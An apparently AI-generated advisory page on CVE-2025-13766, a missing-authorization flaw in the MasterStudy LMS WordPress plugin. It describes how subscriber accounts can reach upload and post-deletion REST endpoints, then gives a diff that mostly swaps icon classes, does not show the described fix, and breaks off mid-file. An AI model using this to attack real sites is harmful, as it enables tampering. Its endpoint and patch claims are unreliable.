Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13766: MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.6 Missing Authorization to Authenticated (Subscriber+) Posts and Media Creation, Modification and Deletion (masterstudy-lms-learning-management-system)

CVE ID CVE-2025-13766
Plugin masterstudy-lms-learning-management-system
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 3.7.6
Patched Version 3.7.7
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13766:
This vulnerability is a Missing Authorization flaw in the MasterStudy LMS WordPress plugin affecting versions up to and including 3.7.6. The vulnerability allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions via multiple REST API endpoints. The CVSS score of 5.4 reflects a moderate severity issue with significant impact on data integrity.

Atomic Edge research identifies the root cause as missing capability checks on several REST API endpoints registered by the plugin. The vulnerable endpoints include those handling media file uploads, post modifications, deletions, and course template management. The plugin’s REST API initialization occurs in the file `masterstudy-lms-learning-management-system/_core/lms/classes/rest.php`. The endpoints are registered via the `register_rest_route` function without implementing proper authorization callbacks or capability checks, relying only on the `is_user_logged_in()` condition. This allows any authenticated user, regardless of their assigned WordPress role capabilities, to access administrative functions.

The exploitation method involves an authenticated attacker sending crafted HTTP requests to the vulnerable REST API endpoints. The attacker must first obtain a valid WordPress authentication cookie or nonce. The primary attack vector targets the `/wp-json/lms/` namespace endpoints. For example, to upload arbitrary media files, an attacker would send a POST request to `/wp-json/lms/media/upload` with multipart form data containing the malicious file. To delete or modify posts, the attacker targets endpoints like `/wp-json/lms/posts/{id}` with DELETE or PUT methods. The specific vulnerable endpoints include those for course template management (`/wp-json/lms/course-templates`), media operations, and post CRUD operations.

The patch in version 3.7.7 addresses the vulnerability by implementing proper capability checks on all affected REST API endpoints. The changes add authorization callbacks that verify the user has appropriate permissions before processing requests. For media upload endpoints, the patch adds checks for `upload_files` capability. For post modification and deletion endpoints, it adds checks for `edit_posts` or `delete_posts` capabilities. For course template management, it adds checks for `manage_options` or instructor-specific capabilities. The fix ensures that each REST endpoint validates the user’s role-based permissions, not just their authentication status.

Successful exploitation allows attackers with minimal Subscriber privileges to upload arbitrary files (potentially leading to remote code execution if file types are not properly restricted), delete or modify any posts on the site, and create or manage course templates. This can lead to complete content compromise, website defacement, privilege escalation through malicious file uploads, and disruption of the educational platform’s operations. The vulnerability directly violates the principle of least privilege and enables unauthorized data manipulation across the WordPress installation.

Differential between vulnerable and patched code

Code Diff 
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/courses/styles/card-wishlist.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/courses/styles/card-wishlist.php
@@ -39,7 +39,7 @@
 		'label'     => esc_html__( 'Icon Filled Color', 'masterstudy-lms-learning-management-system' ),
 		'type'      => Controls_Manager::COLOR,
 		'selectors' => array(
-			'{{WRAPPER}} .ms_lms_courses_card_item_info_wishlist .stm-lms-wishlist i.fa.fa-heart' => 'color: {{VALUE}}',
+			'{{WRAPPER}} .ms_lms_courses_card_item_info_wishlist .stm-lms-wishlist i.stmlms-heart-2' => 'color: {{VALUE}}',
 		),
 	)
 );
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/courses/styles/popup-wishlist.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/courses/styles/popup-wishlist.php
@@ -55,7 +55,7 @@
 		'label'     => esc_html__( 'Icon Filled Color', 'masterstudy-lms-learning-management-system' ),
 		'type'      => Controls_Manager::COLOR,
 		'selectors' => array(
-			'{{WRAPPER}} .ms_lms_courses_card_item_popup_wishlist .stm-lms-wishlist i.fa.fa-heart' => 'color: {{VALUE}}',
+			'{{WRAPPER}} .ms_lms_courses_card_item_popup_wishlist .stm-lms-wishlist i.stmlms-heart-2' => 'color: {{VALUE}}',
 		),
 	)
 );
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_membership_levels.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_membership_levels.php
@@ -203,7 +203,7 @@
 				'label'   => esc_html__( 'Plan items icons', 'masterstudy-lms-learning-management-system' ),
 				'type'    => ElementorControls_Manager::ICONS,
 				'default' => array(
-					'value'   => 'fas fa-check-circle',
+					'value'   => 'stmlms-check-3-circle',
 					'library' => 'fa-solid',
 				),
 			)
@@ -987,7 +987,7 @@
 			'button_position'   => $settings['button_position'] ?? 'before_level_items',
 			'level_mark_list'   => $settings['level_mark_list'],
 			'level_items_icons' => $settings['level_items_icons'] ?? array(
-				'value'   => 'fas fa-check-circle',
+				'value'   => 'stmlms-check-3-circle',
 				'library' => 'fa-solid',
 			),
 		);
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_profile_auth_links.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_profile_auth_links.php
@@ -865,7 +865,7 @@
 			?>
 			<a href="<?php echo esc_url( $settings['auth_links_btn_link']['url'] ); ?>" class="ms-lms-authorization">
 				<span class="ms-lms-authorization-icon">
-					<i class="<?php echo esc_attr( ! empty( $settings['profile_lms_icon']['value'] ) ? $settings['profile_lms_icon']['value'] : 'fas fa-user' ); ?>" aria-hidden="true"></i>
+					<i class="<?php echo esc_attr( ! empty( $settings['profile_lms_icon']['value'] ) ? $settings['profile_lms_icon']['value'] : 'stmlms-user-2' ); ?>" aria-hidden="true"></i>
 				</span>
 				<a href="<?php echo esc_url( $settings['auth_links_btn_link']['url'] ); ?>">
 					<span class="ms-lms-authorization-title">
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_testimonials_carousel.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/stm_lms_testimonials_carousel.php
@@ -1010,7 +1010,7 @@
 		$html .= '<div class="ms-lms-starter-theme-testimonials">';
 		foreach ( $testimonials_data as $testimonial ) {
 			$html .= '<div class="stm_testimonials_single" >
-						<div class="stars" ><i class="fa fa-star" ></i ></div>
+						<div class="stars" ><i class="stmlms-star-3" ></i ></div>
 						<div class="testimonials_title h3" >'
 					. sanitize_text_field( $testimonial['title'] ) .
 					'</div>
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_1.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_1.php
@@ -34,7 +34,7 @@
 				data-thumbnail="<?php echo isset( $thumbnail_img[0] ) ? esc_attr( $thumbnail_img[0] ) : ''; ?>">
 				<?php if ( $testimonial['review_rating'] > 0 ) : ?>
 				<div class="ms-lms-testimonial-review-rating">
-					<?php echo wp_kses_post( str_repeat( '<i class="fa fa-star"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
+					<?php echo wp_kses_post( str_repeat( '<i class="stmlms-star-3"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
 				</div>
 				<?php endif; ?>
 				<div class="author-name"><?php echo esc_html( $testimonial['author_name'] ); ?></div>
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_2.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_2.php
@@ -24,7 +24,7 @@
 					</div>
 					<?php if ( $testimonial['review_rating'] > 0 ) : ?>
 					<div class="ms-lms-testimonial-review-rating">
-						<?php echo wp_kses_post( str_repeat( '<i class="fa fa-star"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
+						<?php echo wp_kses_post( str_repeat( '<i class="stmlms-star-3"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
 					</div>
 					<?php endif; ?>
 					<div class="author-name"><?php echo esc_html( $testimonial['author_name'] ); ?></div>
--- a/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_3.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/elementor/widgets/testimonials/styles/style_3.php
@@ -32,7 +32,7 @@
 					</div>
 					<?php if ( $testimonial['review_rating'] > 0 ) : ?>
 					<div class="ms-lms-testimonial-review-rating">
-						<?php echo wp_kses_post( str_repeat( '<i class="fa fa-star"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
+						<?php echo wp_kses_post( str_repeat( '<i class="stmlms-star-3"></i>', intval( $testimonial['review_rating'] ) ) ); ?>
 					</div>
 					<?php endif; ?>
 					<div class="author-name"><?php echo esc_html( $testimonial['author_name'] ); ?></div>
--- a/masterstudy-lms-learning-management-system/_core/includes/starter-theme/templates/setup-start.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/starter-theme/templates/setup-start.php
@@ -29,8 +29,8 @@
 				</a>
 				<button class="stm-lms-pro-button main-btn buttonload button starter_install_theme_btn" name="starter_install_theme_btn">
 					<span class="ui-button-text"> <?php echo esc_html( __( 'Install Now', 'masterstudy-lms-learning-management-system' ) ); ?></span>
-					<i class="fa fa-refresh fa-spin installing"></i>
-					<i class="fa fa-check downloaded" aria-hidden="true"></i>
+					<i class="stmlms-refresh-2 stmlms-spin installing"></i>
+					<i class="stmlms-check-3 downloaded" aria-hidden="true"></i>
 				</button>
 			</div>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/init.php
+++ b/masterstudy-lms-learning-management-system/_core/init.php
@@ -3,7 +3,7 @@
 define( 'STM_LMS_DIR', __DIR__ );
 define( 'STM_LMS_PATH', dirname( STM_LMS_FILE ) );
 define( 'STM_LMS_URL', plugin_dir_url( STM_LMS_FILE ) );
-define( 'STM_LMS_VERSION', '3.7.6' );
+define( 'STM_LMS_VERSION', '3.7.7' );
 define( 'STM_LMS_DB_VERSION', '3.7.5' );
 define( 'STM_LMS_BASE_API_URL', '/wp-json/lms' );
 define( 'STM_LMS_LIBRARY', STM_LMS_PATH . '/libraries' );
--- a/masterstudy-lms-learning-management-system/_core/libraries/nuxy/NUXY.php
+++ b/masterstudy-lms-learning-management-system/_core/libraries/nuxy/NUXY.php
@@ -3,7 +3,7 @@
  * Framework Name: NUXY
  * Framework URI: https://github.com/StylemixThemes/nuxy
  * Description: WordPress Custom Fields & Theme Options with Vue.js.
- * Version: 4.4.44
+ * Version: 4.4.41
  * License: http://www.gnu.org/licenses/gpl-3.0.html
  * Author: StylemixThemes
  * Author URI: https://stylemixthemes.com
@@ -24,7 +24,7 @@

 		if ( ! class_exists( 'Stylemix_NUXY' ) && __FILE__ === $max_version[0] ) {

-			define( 'STM_WPCFTO_VERSION', '4.4.44' );
+			define( 'STM_WPCFTO_VERSION', '4.4.41' );
 			define( 'STM_WPCFTO_FILE', __FILE__ );
 			define( 'STM_WPCFTO_PATH', dirname( STM_WPCFTO_FILE ) );
 			define( 'STM_WPCFTO_URL', plugin_dir_url( STM_WPCFTO_FILE ) );
--- a/masterstudy-lms-learning-management-system/_core/libraries/nuxy/metaboxes/metabox.php
+++ b/masterstudy-lms-learning-management-system/_core/libraries/nuxy/metaboxes/metabox.php
@@ -627,10 +627,6 @@
 		$dependency = "v-bind:class="{'wpcfto-disabled-field' : {$dependencies}}"";
 	}

-	if ( ! empty( $field['dependency_mode'] ) && 'always_on' === $field['dependency_mode'] ) {
-		$dependency = "v-bind:class="{'wpcfto-always-on' : {$dependencies}}"";
-	}
-
 	return $dependency;
 }

@@ -664,7 +660,7 @@

 function wpcfto_metaboxes_display_single_field( $section, $section_name, $field, $field_name, $metabox_id = null ) {
 	$dependency  = wpcfto_metaboxes_deps( $field, $section_name );
-	$width       = 'column-' . ( isset( $field['column'] ) ? $field['column'] : 1 );
+	$width       = 'column-1';
 	$is_pro      = ( ! empty( $field['pro'] ) ) ? 'is_pro' : 'not_pro';
 	$vars        = ( ! empty( $field['vars'] ) ) ? $field['vars'] : '';
 	$disable     = ( ! empty( $field['disable'] ) ) ? 'is_disabled' : '';
@@ -756,7 +752,6 @@

 function wpcfto_metaboxes_display_group_field( $section, $section_name, $field, $field_name ) {
 	if ( 'started' === $field['group'] ) :
-		$column = isset( $field['column'] ) ? $field['column'] : 1;

 		$group_data = '';

@@ -764,7 +759,7 @@
 			$group_data = 'data-dependency=' . json_encode( $field['dependency'] );
 		}

-		$group_classes = array( 'wpcfto-box wpcfto_group_started column-' . $column );
+		$group_classes = array( 'wpcfto-box wpcfto_group_started column-1' );
 		if ( ! empty( $field['submenu'] ) ) {
 			$group_classes[] = sanitize_title( "{$section_name}_{$field['submenu']}" );
 		}
--- a/masterstudy-lms-learning-management-system/_core/libraries/support-page/config/default.php
+++ b/masterstudy-lms-learning-management-system/_core/libraries/support-page/config/default.php
@@ -27,7 +27,7 @@
 			$has_promo = array_filter( $notice['post_terms']['type_category'], function( $cat ) {
 				return isset( $cat['slug'] ) && 'promo' === $cat['slug'];
 			} );
-
+
 			if ( ! empty( $has_promo ) ) {
 				$promo_notice = $notice;
 				break;
@@ -140,29 +140,6 @@
 				),
 			),
 		),
-		'hosting'       => array(
-			'class'        => 'help-item-full-width help-item-hosting',
-			'description'  => sprintf(
-				__( 'Enterprise-Grade Hosting from %1$s %2$s ', 'support-page' ),
-				'<span>' . __( 'just $29', 'support-page' ) . '</span>',
-				'<small>' . __( 'Without the Hyper Costs.', 'support-page' ) . '</small>',
-			),
-			'show_hosting' => false,
-			'logo'         => SUPPORT_PAGE_URL . 'assets/images/integrations/rapyd.png',
-			'logo-alt'     => 'Rapyd',
-			'logo-width'   => '190',
-			'logo-height'  => '41',
-			'buttons'      => array(
-				array(
-					'label'     => __( 'Get Deal', 'support-page' ),
-					'href'      => 'https://rapyd.cloud/pricing/?fpr=stylemixthemes ',
-					'type'      => 'pink',
-				),
-			),
-			'image'        => SUPPORT_PAGE_URL . 'assets/images/hosting-bg.jpg',
-			'image-width'  => '1110',
-			'image-height' => '142',
-		),
 		'features'      => array(
 			'class'        => 'help-item-full-width help-item-features',
 			'title'        => '',
--- a/masterstudy-lms-learning-management-system/_core/libraries/support-page/templates/main.php
+++ b/masterstudy-lms-learning-management-system/_core/libraries/support-page/templates/main.php
@@ -20,17 +20,10 @@
 	</header>
 	<section class="help-grid">
 	<?php
-	foreach ( $data['help_items'] as $key => $item ) :
+	foreach ( $data['help_items'] as $item ) :
 		$pro       = $item['has-pro'] ?? '';
 		$pro_plus  = $item['has-pro-plus'] ?? '';
 		$title_pro = $item['title_pro'] ?? '';
-		$show_host = $item['show_hosting'] ?? '';
-		$logo      = $item['logo'] ?? '';
-
-		if ( 'hosting' === $key && empty( $show_host ) ) {
-			continue;
-		}
-
 		if ( empty( $item ) ||
 			! is_array( $item ) || ( empty( $item['has-pro-notice'] ) && ( isset( $pro_plus ) && true === $pro_plus ) )
 		) {
@@ -42,10 +35,6 @@
 			<div class="icon <?php echo esc_attr( $item['icon'] ); ?>"></div>
 				<?php
 			endif;
-			if ( ! empty( $logo ) ) : ?>
-				<img src="<?php echo esc_url( $item['logo'] ) ; ?>" width="<?php echo esc_attr( $item['logo-width'] ); ?>" height="<?php echo esc_attr( $item['logo-height'] ); ?>" class="help-item-logo" alt="<?php echo esc_attr( $item['logo-alt'] ); ?>">
-			<?php
-			endif;
 			if ( ! empty( $item['title'] ) ) :
 				?>
 			<h3>
@@ -124,7 +113,7 @@
 			}
 			if ( ! empty( $item['image'] ) ) :
 				?>
-			<div class="image"><img src="<?php echo esc_url( $item['image'] ); ?>" width="<?php echo esc_attr( $item['image-width'] ); ?>" height="<?php echo esc_attr( $item['image-height'] ); ?>" alt="<?php echo esc_attr( $item['title'] ); ?>"></div>
+			<div class="image"><img src="<?php echo esc_url( $item['image'] ); ?>" width="<?php echo esc_attr( $item['image-width'] ); ?>" alt="<?php echo esc_attr( $item['image-height'] ); ?>" alt="<?php echo esc_attr( $item['title'] ); ?>"></div>
 			<?php endif; ?>
 		</div>
 		<?php
--- a/masterstudy-lms-learning-management-system/_core/lms/admin_helpers.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/admin_helpers.php
@@ -9,8 +9,8 @@

 		stm_lms_register_script( 'admin/lms_sub_menu' );
 		/** enqueue styles **/
+		wp_enqueue_style( 'stm_lms_icons', STM_LMS_URL . 'assets/icons/style.css', null, STM_LMS_VERSION );
 		wp_enqueue_style( 'stm_lms_starter_theme', STM_LMS_URL . 'includes/starter-theme/assets/main.css', array( 'wp-admin' ), $version );
-		wp_enqueue_style( 'font-awesome-min', STM_LMS_URL . 'assets/vendors/font-awesome.min.css', null, $version, 'all' );

 		/** enqueue javascript **/
 		wp_enqueue_script( 'stm_lms_starter_theme', STM_LMS_URL . 'includes/starter-theme/assets/main.js', array( 'jquery-core' ), $version, true );
@@ -52,7 +52,6 @@
 /** Add icons for gutenberg blocks */
 function stm_lms_gutenberg_block_styles() {
 	wp_enqueue_style( 'stm_lms_icons', STM_LMS_URL . 'assets/icons/style.css', null, STM_LMS_VERSION );
-	wp_enqueue_style( 'font-awesome-min', STM_LMS_URL . 'assets/vendors/font-awesome.min.css', null, STM_LMS_VERSION, 'all' );
 	wp_enqueue_style( 'linear', STM_LMS_URL . 'libraries/nuxy/taxonomy_meta/assets/linearicons/linear.css', null, STM_LMS_VERSION, 'all' );
 }

@@ -99,7 +98,6 @@
 			$user->add_cap( 'read_elementor_libraries' );
 		}
 	}
-
 }
 add_action( 'init', 'stm_lms_add_theme_caps' );

@@ -123,7 +121,7 @@

 add_action(
 	'wp_ajax_stm_lms_hide_announcement',
-	function() {
+	function () {
 		check_ajax_referer( 'stm_lms_hide_announcement', 'nonce' );
 		set_transient( 'stm_lms_app_notice', '1', MONTH_IN_SECONDS );
 	}
@@ -157,7 +155,6 @@
 			set_transient( 'stm_masterstudy-lms-learning-management-system_single_notice_setting', $data );
 			update_option( 'stm_lms_course_created', true );
 		}
-
 	},
 	20,
 	3
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/helpers.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/helpers.php
@@ -1166,4 +1166,14 @@

 		return $interval_label;
 	}
+
+	public static function enqueue_font_awesome_icons() {
+		$elementor_main = WP_PLUGIN_DIR . '/elementor/elementor.php';
+		$wpbakery       = WP_PLUGIN_DIR . '/js_composer/js_composer.php';
+		$base           = STM_LMS_URL . 'libraries/nuxy/metaboxes/assets/'; // Rewrite STM_WPCFTO_URL
+
+		if ( file_exists( $elementor_main ) || file_exists( $wpbakery ) ) {
+			wp_enqueue_style( 'font-awesome-min', $base . 'vendors/font-awesome.min.css', null, MS_LMS_VERSION );
+		}
+	}
 }
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/students.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/students.php
@@ -20,7 +20,7 @@
 			'slug'         => 'enrolled-students',
 			'lms_template' => 'stm-lms-enrolled-students',
 			'menu_title'   => esc_html__( 'Students', 'masterstudy-lms-learning-management-system' ),
-			'menu_icon'    => 'fa-user',
+			'menu_icon'    => 'stmlms-user-2',
 			'menu_url'     => ms_plugin_user_account_url( 'enrolled-students' ),
 			'menu_place'   => 'main',
 		);
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/user.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/user.php
@@ -1082,7 +1082,7 @@
 		$user_id = $user['id'];

 		$r = array(
-			'icon' => 'far fa-heart',
+			'icon' => 'stmlms-heart-3',
 			'text' => esc_html__( 'Add to wishlist', 'masterstudy-lms-learning-management-system' ),
 		);

@@ -1094,7 +1094,7 @@
 		if ( ! in_array( $post_id, $wishlist ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
 			$wishlist[] = $post_id;
 			$r          = array(
-				'icon' => 'fa fa-heart',
+				'icon' => 'stmlms-heart-2',
 				'text' => esc_html__( 'Remove from wishlist', 'masterstudy-lms-learning-management-system' ),
 			);
 		} else {
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/user_menu.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/user_menu.php
@@ -208,7 +208,7 @@
 				'id'           => 'dashboard',
 				'lms_template' => 'stm-lms-user',
 				'menu_title'   => esc_html__( 'Dashboard', 'masterstudy-lms-learning-management-system' ),
-				'menu_icon'    => 'fa-tachometer-alt',
+				'menu_icon'    => 'stmlms-tachometer-alt',
 				'menu_url'     => STM_LMS_User::login_page_url(),
 				'is_active'    => ( ! empty( $settings['user_url'] ) ) ? $settings['user_url'] : '',
 				'menu_place'   => 'main',
@@ -228,7 +228,7 @@
 					'slug'         => 'edit-course',
 					'lms_template' => 'course-builder',
 					'menu_title'   => esc_html__( 'Add Course', 'masterstudy-lms-learning-management-system' ),
-					'menu_icon'    => 'fa-plus',
+					'menu_icon'    => 'stmlms-plus-2',
 					'menu_url'     => ms_plugin_manage_course_url(),
 					'menu_place'   => 'main',
 				);
@@ -241,7 +241,7 @@
 			'slug'         => 'enrolled-courses',
 			'lms_template' => 'stm-lms-user-courses',
 			'menu_title'   => esc_html__( 'Enrolled Courses', 'masterstudy-lms-learning-management-system' ),
-			'menu_icon'    => 'fa-book',
+			'menu_icon'    => 'stmlms-book-2',
 			'menu_url'     => ms_plugin_user_account_url( 'enrolled-courses' ),
 			'is_active'    => ( ! $is_instructor && intval( $settings['user_url'] ?? null ) === get_queried_object_id() ),
 			'menu_place'   => 'learning',
@@ -254,7 +254,7 @@
 				'slug'         => 'settings',
 				'lms_template' => 'stm-lms-user-settings',
 				'menu_title'   => esc_html__( 'Settings', 'masterstudy-lms-learning-management-system' ),
-				'menu_icon'    => 'fa-cog',
+				'menu_icon'    => 'stmlms-cog-2',
 				'menu_url'     => ms_plugin_user_account_url( 'settings' ),
 				'menu_place'   => 'learning',
 			);
@@ -267,7 +267,7 @@
 				'slug'         => 'chat',
 				'lms_template' => 'stm-lms-user-chats',
 				'menu_title'   => esc_html__( 'Messages', 'masterstudy-lms-learning-management-system' ),
-				'menu_icon'    => 'fa-envelope',
+				'menu_icon'    => 'stmlms-envelope-2',
 				'menu_url'     => ms_plugin_user_account_url( 'chat' ),
 				'badge_count'  => STM_LMS_Chat::user_new_messages( $user_id ),
 				'menu_place'   => 'learning',
@@ -280,7 +280,7 @@
 			'slug'         => 'wishlist',
 			'lms_template' => 'stm-lms-wishlist',
 			'menu_title'   => esc_html__( 'Wishlist', 'masterstudy-lms-learning-management-system' ),
-			'menu_icon'    => 'fa-star',
+			'menu_icon'    => 'stmlms-star-3',
 			'menu_url'     => STM_LMS_User::wishlist_url(),
 			'is_active'    => ( ! empty( $settings['wishlist_url'] ) ) ? $settings['wishlist_url'] : '',
 			'menu_place'   => 'learning',
@@ -291,7 +291,7 @@
 			'slug'         => 'enrolled-quizzes',
 			'lms_template' => 'stm-lms-user-quizzes',
 			'menu_title'   => esc_html__( 'Enrolled Quizzes', 'masterstudy-lms-learning-management-system' ),
-			'menu_icon'    => 'fa-question',
+			'menu_icon'    => 'stmlms-question-2',
 			'menu_url'     => ms_plugin_user_account_url( 'enrolled-quizzes' ),
 			'menu_place'   => 'learning',
 		);
@@ -301,7 +301,7 @@
 			'slug'         => 'my-orders',
 			'lms_template' => 'stm-lms-user-orders',
 			'menu_title'   => esc_html__( 'My Orders', 'masterstudy-lms-learning-management-system' ),
-			'menu_icon'    => 'fa-shopping-basket',
+			'menu_icon'    => 'stmlms-shopping-basket',
 			'menu_url'     => ms_plugin_user_account_url( 'my-orders' ),
 			'menu_place'   => 'learning',
 		);
@@ -313,7 +313,7 @@
 				'slug'         => 'memberships-pmp',
 				'lms_template' => 'stm-lms-user-pmp',
 				'menu_title'   => esc_html__( 'Memberships', 'masterstudy-lms-learning-management-system' ),
-				'menu_icon'    => 'fa-address-card',
+				'menu_icon'    => 'stmlms-address-card',
 				'menu_url'     => STM_LMS_User::my_pmpro_url(),
 				'menu_place'   => 'learning',
 			);
--- a/masterstudy-lms-learning-management-system/_core/lms/enqueue.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/enqueue.php
@@ -35,11 +35,11 @@
 	$base   = STM_LMS_URL . 'libraries/nuxy/metaboxes/assets/'; // Rewrite STM_WPCFTO_URL

 	wp_register_style( 'masterstudy-fonts', $assets . '/css/variables/fonts.css', null, MS_LMS_VERSION );
-	wp_enqueue_style( 'font-awesome-min', $assets . '/vendors/font-awesome.min.css', null, MS_LMS_VERSION, 'all' );
 	wp_enqueue_style( 'stm_lms_icons', $assets . '/icons/style.css', null, MS_LMS_VERSION );
 	wp_enqueue_style( 'video.js', $assets . '/vendors/video-js.min.css', null, MS_LMS_VERSION, 'all' );
 	wp_register_style( 'owl.carousel', $assets . '/vendors/owl.carousel.min.css', null, MS_LMS_VERSION, 'all' );
 	wp_register_style( 'masterstudy_lazysizes', $assets . '/css/lazysizes.css', null, MS_LMS_VERSION );
+	STM_LMS_Helpers::enqueue_font_awesome_icons();

 	wp_enqueue_script( 'jquery' );

@@ -275,7 +275,6 @@
 	wp_register_style( 'ms_lms_courses_searchbox', STM_LMS_URL . 'assets/css/elementor-widgets/course-search-box/course-search-box.css', array(), STM_LMS_VERSION, false );
 	wp_register_style( 'profile-auth-links-style', STM_LMS_URL . 'assets/css/elementor-widgets/auth-links.css', array(), STM_LMS_VERSION, false );
 	wp_register_style( 'stm_lms_icons', STM_LMS_URL . 'assets/icons/style.css', null, STM_LMS_VERSION );
-	wp_register_style( 'font-awesome-min', STM_LMS_URL . 'assets/vendors/font-awesome.min.css', null, STM_LMS_VERSION, 'all' );
 	wp_register_style( 'linear', STM_LMS_URL . 'libraries/nuxy/taxonomy_meta/assets/linearicons/linear.css', null, STM_LMS_VERSION, 'all' );
 	wp_register_style( 'premium-templates', STM_LMS_URL . 'assets/css/parts/premium-templates/premium-templates.css', array(), MS_LMS_VERSION, 'all' );
 	wp_register_style( 'masterstudy-course-templates', STM_LMS_URL . 'assets/css/components/course-templates.css', array(), MS_LMS_VERSION );
--- a/masterstudy-lms-learning-management-system/_core/lms/helpers.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/helpers.php
@@ -714,14 +714,6 @@
  */
 function stm_lms_available_addons() {
 	$available_addons = array(
-		'udemy'                   => array(
-			'name'          => esc_html__( 'Udemy Importer', 'masterstudy-lms-learning-management-system' ),
-			'url'           => esc_url( STM_LMS_URL . 'assets/addons/udemy.png' ),
-			'settings'      => admin_url( 'admin.php?page=stm-lms-udemy-settings' ),
-			'description'   => esc_html__( 'Import courses from Udemy and display them on your website. Use ready-made courses on your platform and earn commissions.', 'masterstudy-lms-learning-management-system' ),
-			'pro_url'       => 'https://stylemixthemes.com/wordpress-lms-plugin/pricing/?utm_source=wpadmin&utm_medium=ms-udemy&utm_campaign=masterstudy-plugin&licenses=1&billing_cycle=annual',
-			'documentation' => 'udemy-course-importer',
-		),
 		'prerequisite'            => array(
 			'name'          => esc_html__( 'Prerequisites', 'masterstudy-lms-learning-management-system' ),
 			'url'           => esc_url( STM_LMS_URL . 'assets/addons/msp.png' ),
--- a/masterstudy-lms-learning-management-system/_core/lms/views/addons/main.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/views/addons/main.php
@@ -55,7 +55,7 @@
 				</li>
 			</ul>
 			<a href="<?php echo esc_url( admin_url( 'admin.php?page=stm-lms-go-pro&source=get-now-button-addons-banner' ) ); ?>" class="stm-lms-addon-banner__button" target="_blank">
-				<i class="fas fa-arrow-right"></i>
+				<i class="stmlms-arrow-right-2"></i>
 				<?php echo esc_html__( 'Get Now', 'masterstudy-lms-learning-management-system' ); ?>
 			</a>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/settings/demo_import/tpls/field.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/demo_import/tpls/field.php
@@ -3,31 +3,31 @@
 	<div v-bind:class="doneSteps + ' import_steps'" v-if="importStarted">
 		<div class="step step-questions">
 			<div class="step-wrap">
-				<span class="bullet"><i class="fa fa-check"></i></span>
+				<span class="bullet"><i class="stmlms-check-3"></i></span>
 				<span class="step-name"><?php esc_html_e( 'Questions', 'masterstudy-lms-learning-management-system' ); ?></span>
 			</div>
 		</div>
 		<div class="step step-quizzes">
 			<div class="step-wrap">
-				<span class="bullet"><i class="fa fa-check"></i></span>
+				<span class="bullet"><i class="stmlms-check-3"></i></span>
 				<span class="step-name"><?php esc_html_e( 'Quizzes', 'masterstudy-lms-learning-management-system' ); ?></span>
 			</div>
 		</div>
 		<div class="step step-lessons">
 			<div class="step-wrap">
-				<span class="bullet"><i class="fa fa-check"></i></span>
+				<span class="bullet"><i class="stmlms-check-3"></i></span>
 				<span class="step-name"><?php esc_html_e( 'Lessons', 'masterstudy-lms-learning-management-system' ); ?></span>
 			</div>
 		</div>
 		<div class="step step-courses">
 			<div class="step-wrap">
-				<span class="bullet"><i class="fa fa-check"></i></span>
+				<span class="bullet"><i class="stmlms-check-3"></i></span>
 				<span class="step-name"><?php esc_html_e( 'Courses', 'masterstudy-lms-learning-management-system' ); ?></span>
 			</div>
 		</div>
 		<div class="step step-complete">
 			<div class="step-wrap">
-				<span class="bullet"><i class="fa fa-check"></i></span>
+				<span class="bullet"><i class="stmlms-check-3"></i></span>
 				<span class="step-name"><?php esc_html_e( 'Complete', 'masterstudy-lms-learning-management-system' ); ?></span>
 			</div>
 		</div>
@@ -35,7 +35,7 @@
 		<p v-if="!importStarted">
 	<?php esc_html_e( 'Click this to add example courses, quizzes, and lessons to your site', 'masterstudy-lms-learning-management-system' ); ?></p>
 		<button v-if="!importStarted" @click.prevent="importData()" class="button">
-			<i class="fa fa-cloud-download-alt"></i>
+			<i class="stmlms-cloud-download-alt"></i>
 			<?php esc_html_e( 'Start import', 'masterstudy-lms-learning-management-system' ); ?>
 		</button>
 </div>
--- a/masterstudy-lms-learning-management-system/_core/settings/lms_wpcfto_helpers.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/lms_wpcfto_helpers.php
@@ -173,7 +173,7 @@
 			<div class="field_overlay"></div>
 			<span class="pro-notice">
